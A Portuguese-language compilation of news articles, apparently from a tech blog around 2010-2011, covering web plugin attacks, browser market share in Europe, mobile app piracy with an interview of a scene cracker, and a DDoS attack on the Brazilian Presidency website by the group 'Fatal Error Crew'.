Os ataques que se sucederam, atingindo empresas como Visa e MasterCard, conseguiram rapidamente renovar os debates sobre ciberguerra – não muito esquecidos, graças ao Stuxnet. Embora não seja o primeiro ataque coletivo em favor de uma causa, foi o primeiro a ganhar notoriedade. Veículos de imprensa como CNN e a BBC cobriram o episódio, apesar da falta de sofisticação técnica.

Novos alvos de ataques na web

A web assumiu o posto de principal meio para a disseminação de pragas digitais – e “web” aqui se refere apenas a sites de internet. Isso quer dizer que pragas deixaram um pouco de lado brechas em sistemas operacionais, e até redes ponto a ponto (P2P) e mensageiros instantâneos. Seja em sites maliciosos, ou se aproveitando de falhas em sites de redes sociais, a web já é o principal meio de ataque.

Mas houve ainda outra mudança. Os navegadores web não são os alvos mais comuns. Os plugins tomaram esse posto. Java, Flash e Reader (leitor de PDFs) são os softwares mais atacados. A ordem depende do momento: no início do ano, o Reader era o mais atacado. Depois passou a ser o Flash. E, mais tarde, o Java.

Isso gera um desafio para os navegadores, já que eles não controlam diretamente seus plugins. O Adobe criou uma “sandbox” (“caixa de areia”) para o Reader com o intuito de isolar o software e impedir a execução de vírus a partir de PDFs, mas o Google decidiu criar um leitor de PDF inteiramente novo para o Chrome – tudo para não depender da Adobe. O Flash, no Chrome, recebeu uma “sandbox” isoladora própria. E o Firefox implementou recursos para alterar usuários sobre atualizações do Flash e permitir a desativação de plugins a qualquer momento, para impedir que plugins maliciosos ou inseguros continuem em execução.

Redes sociais

A fragilidade das redes sociais ficou evidente no ano de 2010. O Orkut teve problemas, o YouTube também, o Twitter ficou paralisado devido a uma falha e o Facebook teve sua parcela de problemas.

Tanto as falhas como a maneira que as redes sociais lidaram com elas demonstrou uma falta de preparo e conhecimento. A internet e o fenômeno das redes sociais permitiu que empresas jovens e inexperientes obtivessem uma quantidade enorme de usuários e, portanto, uma responsabilidade que empresas tão novas normalmente não teriam – e os internautas ainda estão sentindo o resultado disso.

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Firefox supera Internet Explorer e assume liderança na Europa.

O browser Firefox superou o Internet Explorer na liderança do mercado europeu de navegadores na primeira vez em que o aplicativo da Microsoft perdeu o topo do setor, afirma uma empresa de pesquisa.

Em dezembro, o browser de código aberto ficou com 38,1% do mercado europeu, enquanto a fatia do IE recuou a 37,5%. O Chrome viu sua participação crescer de 5,1% para 14,6% na comparação anual.
"Isso parece estar acontecendo porque o Chrome está roubando mercado do IE enquanto o Firefox está mantendo sua fatia", disse Aodhan Cullen, presidente-executivo da StatCounter.

"Estamos provavelmente vendo o impacto do acordo entre as autoridades da Comissão Europeia e a Microsoft, que passou a oferecer aos usuários europeus opção de escolha de browsers a partir de março do ano passado", disse Cullen.

Em dezembro de 2009, autoridades da União Europeia aceitaram oferta da Microsoft para dar aos usuários melhor acesso a browser rivais do IE, encerrando uma longa batalha em torno de legislação de proteção da concorrência. Desde o início de março, a Microsoft oferece aos europeus a opção de escolha entre 12 browsers em mais de 100 milhões de computadores novos e velhos que operam com o sistema operacional Windows.

Globalmente, a participação do IE caiu para 46,9% em dezembro, enquanto o Firefox ficou com 30,8% e o Google com 14,9%, afirma a StatCounter.

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Está virando moda Crackear programas para Celular.

Grupos especializados em piratear aplicativos para dispositivos portáteis, como o PalmOS, agora se concentram nos celulares e, principalmente, nas plataformas dominantes como Symbian (da Nokia), Android (do Google) e iOS (da Apple). Não há muitos dados sobre a prática, mas desenvolvedores já começaram a criar e incluir tecnologias antipirataria em seus produtos para conter a ação dos “crackers”.

A Flurry, uma empresa especializada em analisar o comportamento de usuários enquanto utilizam softwares em celulares, afirma que entre 5 e 8% dos downloads são piratas. A Mtiks, uma companhia de software que desenvolve recursos antipirataria para iOS e Android, afirma que 98 dos 100 softwares pagos mais populares no App Store do iTunes foram crackeados e são distribuídos ilegalmente.

O aparecimento de empresas especializadas nessa área como a Mtiks mostram a demanda por tecnologias antipirataria “enlatadas”. No Windows, elas são muito comuns. A Rovi Corporation, antigamente conhecida como Macrovision, fornece proteção antipirataria para vários games. A tecnologia SafeDisk da Macrovision é incorporada na instalação padrão do Windows desde o Windows XP.

Segundo David Brennan, diretor da empresa que cria a suíte de escritório QuickOffice, a pirataria ocorre em todas as plataformas, mas as medidas para combater a prática variam. No Symbian, da Nokia, a companhia usa uma tecnologia antipirataria própria. “Já no iOS e no Android, nós usamos as tecnologias das lojas oficiais das plataformas e do sistema operacional”.
“Nosso software é destravado só para um aparelho específico usando um identificador único como um PIN ou o número IMEI”, explica Brennan; o IMEI é uma espécie de número de série do celular para identificá-lo na rede sem fio. Mas essas medidas atraem ainda mais crackers. “Quanto mais sofisticada é a medida que tomamos, parece que há um apelo maior para quebrá-la”, conta o executivo.

O QuickOffice é um dos softwares mais populares para a utilização de arquivos comuns como documentos Word e planilhas do Excel no celular. Ele está disponível para várias plataformas.



Em julho, o Google anunciou um serviço unificado de licenciamento para softwares disponíveis no Android Market. Em agosto, o protocolo foi quebrado facilmente. O Google respondeu que parte da culpa era dos desenvolvedores, que usavam o código de exemplo fornecido pela empresa sem alterações. Desenvolvedores devem seguir as instruções para implementar segurança antipirataria em seus produtos.

No iPhone, a App Store também fornece controles semelhantes, mas usuários que fizeram jailbreak em seus iPhones conseguem instalar softwares piratas sem nenhuma dificuldade.

'Jamais peça dinheiro'

Muitos usuários usam somente programas piratas e a pirataria é quase uma regra em alguns mercados, em vez de ser a exceção. É o caso, inclusive, no Brasil. Mas os indivíduos responsáveis pela criação e distribuição de softwares piratas, ou “warez”, são pouco conhecidos. A maneira que eles operam é ainda menos conhecida.
O G1 conversou com um rapaz de 24 anos que cria “cracks” para softwares de celular e trabalha como vendedor em uma loja de celulares e outros portáteis. Ele disse fazer parte do grupo CorePDA. “Core” é um grupo antigo na criação de cracks para software. O CorePDA é separado do original e se especializa somente nos celulares. Tem cerca de 10 membros; um grupo com 20 pessoas é considerado grande.

Para ele, a pirataria de softwares de celulares é “tão comum quanto a de filmes”. “Tudo é crackeado algum dia”, diz. Os grupos especializados em celulares são os mesmos que anteriormente buscavam crackear programas para gadgets como Palm, iPaq e outros portáteis; muitos grupos continuam usando o termo PDA (Personal Digital Assistant),
Grupos como o Core e o CorePDA fazem parte da Scene (“cena”). Todos os softwares, games, filmes e CDs de música distribuídos por membros da “cena” são a moeda de troca para obter outros títulos ou “releases”, como eles são chamados. A Scene não é diretamente responsável pela disseminação dos “releases” nas redes ponto a ponto (P2P). Existem grupos separados que atuam apenas no P2P e que trazem os “releases” da cena tradicional ao P2P, atingindo um número maior de pessoas que a distribuição inicial, limitada a servidores privados chamados “topsites”.
Para participar da cena é preciso seguir várias regras. Cada “release” deve obedecer a essas regras bem claras e, caso isso não seja feito, o grupo pode ser punido. Mas existem também regras “não escritas” da cena.

“’Jamais peça dinheiro’, é uma das regras não escritas da cena”, explica o cracker anônimo. Ele diz que já faz isso há mais de dois anos, mas a programação é um hobby. “Eu estudei programação, mas não para trabalhar com isso. Gostaria de trabalhar em um asilo, pagam mais e o trabalho traz mais satisfação”.
Para Brennan, da QuickOffice, a questão não é tão simples. Ele afirma que, em vários casos, os softwares piratas são distribuídos em sites comerciais, com receitas provenientes de anúncios publicitários. “Na prática, são agências de publicidade e anunciantes legítimos que financiam a criação e distribuição dos cracks”.

A popularidade dos aplicativos é um fator decisivo na hora de decidir o “alvo”. O cracker afirma que muitas vezes proteções semelhantes são usadas em vários softwares. “A primeira vez é sempre mais complicada. Depois fica fácil”. Mas os softwares populares são geralmente os que também são mais protegidos e o “desafio” torna-se mais interessante.

Compartilhar é se importar – sharing is caring

Várias vezes durante a conversa – que ocorreu em um canal criptografado de bate-papo IRC – o cracker proferiu o mantra “sharing is caring”, que pode ser traduzido para português como “compartilhar é se importar”, dando a entender que a pirataria, ao compartilhar os softwares, filmes e música, está distribuindo também algo para os desfavorecidos.

“Pessoas pensam que somos terroristas, que somos os seres mais desprezíveis do mundo. Mas eles não sabem nada sobre a cena. Eu sou fã de alguns jogos, então eu compro. Você vê nos arquivos .nfo [que acompanham os lançamentos da cena]: ‘se você gosta, compre’. O cracker da CorePDA exemplifica: “eu jogo 'World of Warcraft' nos servidores oficiais. Mas outras pessoas podem não ter condições de fazer isso. Então sharing is caring”.

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PF vai correr atráz dos hackers que invadiram o site da Presidência.

A assessoria de imprensa do Serviço Federal de Processamento de Dados (Serpro) informou nesta terça-feira (4) que um inquérito será instaurado na Polícia Federal para verificar se é possível identificar os responsáveis pelo ataque contra o site oficial da Presidência da República no domingo (2) e quais medidas podem ser tomadas contra eles.

“Em toda tentativa de bloqueio na segurança da Presidência, é padrão do órgão e da Polícia Federal investigar quem são os responsáveis”, explica Carlos Marcos Torres, gerente da assessoria de imprensa do Serpro.

O departamento de comunicação da Polícia Federal confirmou que o órgão está recebendo os documentos do Serpro referentes à segurança do site da Presidência e que, assim que o recebimento for concluído e formalizado, o inquérito será aberto.
Segundo Torres, o Serpro já criou uma estratégia de bloqueio ao ataque de "negação de serviço" utilizado pelo grupo e que o órgão já tomou medidas para prevenir que esse tipo de ofensiva aconteça no futuro.

Na segunda-feira, o Serpro confirmou, após análise técnica, que o site da Presidência sofreu ação de hackers na tarde de domingo (2). O grupo "Fatal Error Crew" assumiu o ataque.
“O Serviço Federal de Processamento de Dados confirma que no domingo, dia 2 de janeiro de 2011, houve uma sobrecarga de acessos provocada intencionalmente nos sites presidência.gov e brasil.gov, que tornou os endereços instáveis por algumas horas”, diz nota divulgada pelo Serpro. Quem tentou acessar os sites no domingo teve dificuldades para abrir a página por causa da lentidão de download.

Na nota divulgada, o Serpro destacou que “todos os dados protegidos do governo brasileiro mantiveram-se seguros, sem qualquer invasão ou dano dos sites ou das suas bases de dados". A equipe técnica do órgão “estabilizou” o site às 21h30 de domingo. De acordo com o Serpro, o site da Presidência tem capacidade para suportar até 4,5 mil acessos simultâneos.
'Atacamos por diversão', diz grupo hacker
O grupo que assumiu o ataque ao site da Presidência, o "Fatal Error Crew", disse em entrevista ao G1, que derrubou o endereço por diversão, para mostrar que a segurança dos servidores brasileiros é frágil e para protestar contra a eleição da presidente Dilma Rousseff. Formado em 2001 e atualmente com dois integrantes, os hackers afirmam que já desfiguraram mais de 56 mil sites.

De acordo com o grupo, a mensagem que eles querem passar para a população por meio dos ataques é que "votar é algo sério" e pedem que as pessoas pesquisem tudo sobre o candidato antes de votar.
Embora tenham atacado o site da Presidência, o "Fatal Error Crew" afirma não ter medo de ser punido. "As leis do Brasil ainda não foram adequadas a crimes virtuais. O ataque teve origem de servidores de diferentes locais do mundo e é praticamente impossível de nos localizarem", disse um dos membros do grupo ao G1. "Se não tivéssemos anunciado [a autoria do ataque], ninguém iria saber".

O advogado e professor em direito eletrônico Rony Vaizonf, no entanto, disse que esse tipo de delito se enquadra no artigo 163 do Código Penal como crime de dano ao patrimônio, prevendo de 1 a 6 meses de prisão. "Entretanto, como o ataque foi em um site do governo, é possível que o delito seja classificado como dano qualificado, que prevê de 6 meses a 3 anos de prisão", disse.

Entenda como ocorreu o ataque:

De acordo com o grupo “Fatal Error Crew”, foi utilizada uma "negação de serviço" (em inglês, DDoS ou Distributed Denial of Service) que é a "criação artificial de um número elevado de solicitações simultâneas" a um servidor. O golpe é similar ao utilizado recentemente por hackers para derrubar sites de Visa e do Mastercard em protesto contra a proibição de doações ao site WikiLeaks.
 
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